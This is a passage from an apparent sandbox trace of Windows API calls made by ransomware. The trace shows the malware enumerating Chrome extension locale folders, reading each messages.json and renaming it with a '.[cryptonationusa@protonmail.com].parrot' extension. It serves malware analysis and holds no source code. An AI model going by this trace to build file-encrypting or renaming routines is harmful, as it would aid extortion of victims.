ftLastWriteTime.dwLowDateTime=0xb9483c80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.525] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.525] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.525] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.525] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.525] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.525] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.525] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x236, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.525] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.526] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.526] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.527] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x11e, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x11e, lpOverlapped=0x0) returned 1 [0073.527] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.527] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x236, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.527] CloseHandle (hObject=0x28c) returned 1 [0073.528] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.533] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.533] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb94f60a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb94f60a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.534] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb94f60a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.534] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.534] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.534] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.535] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.535] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.535] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x656b8f00, ftLastWriteTime.dwHighDateTime=0x1cccade, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.535] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ea, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.535] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.535] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.536] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.536] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd2, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd2, lpOverlapped=0x0) returned 1 [0073.537] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.537] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.537] CloseHandle (hObject=0x28c) returned 1 [0073.537] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.540] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.540] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb94f60a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb94f60a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.541] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb94f60a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.541] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.541] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.541] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.541] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.541] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.541] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.542] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f6, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.542] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.542] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.542] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.543] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xde, lpOverlapped=0x0) returned 1 [0073.543] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.543] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.543] CloseHandle (hObject=0x28c) returned 1 [0073.544] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.546] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.546] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb951c200, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb951c200, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.547] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb951c200, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.548] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.548] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.548] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.548] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.548] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.548] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.548] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x202, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.548] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.548] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.549] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.549] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xea, lpOverlapped=0x0) returned 1 [0073.550] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.550] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x202, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.550] CloseHandle (hObject=0x28c) returned 1 [0073.550] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.553] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.553] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb951c200, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb951c200, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.554] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb951c200, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.554] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.554] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.599] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.599] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.599] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.599] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x127, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.600] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x23f, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.600] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.600] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.601] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.601] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x127, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x127, lpOverlapped=0x0) returned 1 [0073.602] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.602] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x23f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.602] CloseHandle (hObject=0x28c) returned 1 [0073.603] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.607] FindFirstFileExW 